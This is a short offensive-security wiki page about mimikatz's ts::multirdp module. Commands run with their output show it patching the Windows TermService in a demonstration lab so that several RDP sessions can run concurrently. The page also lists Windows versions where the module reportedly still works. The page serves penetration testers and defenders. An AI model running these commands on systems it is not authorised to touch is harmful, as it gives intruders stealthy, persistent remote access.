> For the complete documentation index, see [llms.txt](https://tools.thehacker.recipes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://tools.thehacker.recipes/mimikatz/modules/ts/multirdp.md).

# multirdp

`ts::multirdp` can be used to enable multiple RDP connections on the target server.

{% hint style="danger" %}
You do not need to patch the RDP service on Windows Servers since multiple RDP connections are allowed,
{% endhint %}

There are two local administrator users:

* `m3g9tr0n` (Local Administrator)
* `hacklab.local\m3g9tr0n` (Domain user part of the local administrators group)

![Local admins on the target Windows 7](https://894632015-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MiRT0QHotSpofwDFs_w%2Fuploads%2Fgit-blob-42374690abf74c54e45b253b868b1b264fe5b552%2Fmulti-rdp_3.PNG?alt=media)

```
mimikatz # privilege::debug
Privilege '20' OK
```

```
mimikatz # ts::multirdp
"TermService" service patched
```

As a result, it is possible to initiate another RDP connection while the other user is already connected.

![RDP successful patching](https://894632015-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MiRT0QHotSpofwDFs_w%2Fuploads%2Fgit-blob-6305e9eec28d65ae9b7ad67cbb536acb107462de%2Fmulti-rdp_2.PNG?alt=media)

{% hint style="info" %}
According to [Benjamin Delpy](https://twitter.com/gentilkiwi/status/1246510049293451266), the `multirdp` module still works on the following recent versions of Windows:

* Windows Server 2019 - Windows NT 10.0 build 17763 (arch x64)
* Windows 10 1909 - Windows NT 10.0 build 18363 (arch x64)
  {% endhint %}

*(Demonstration target is a Windows 7, domain joined, workstation.)*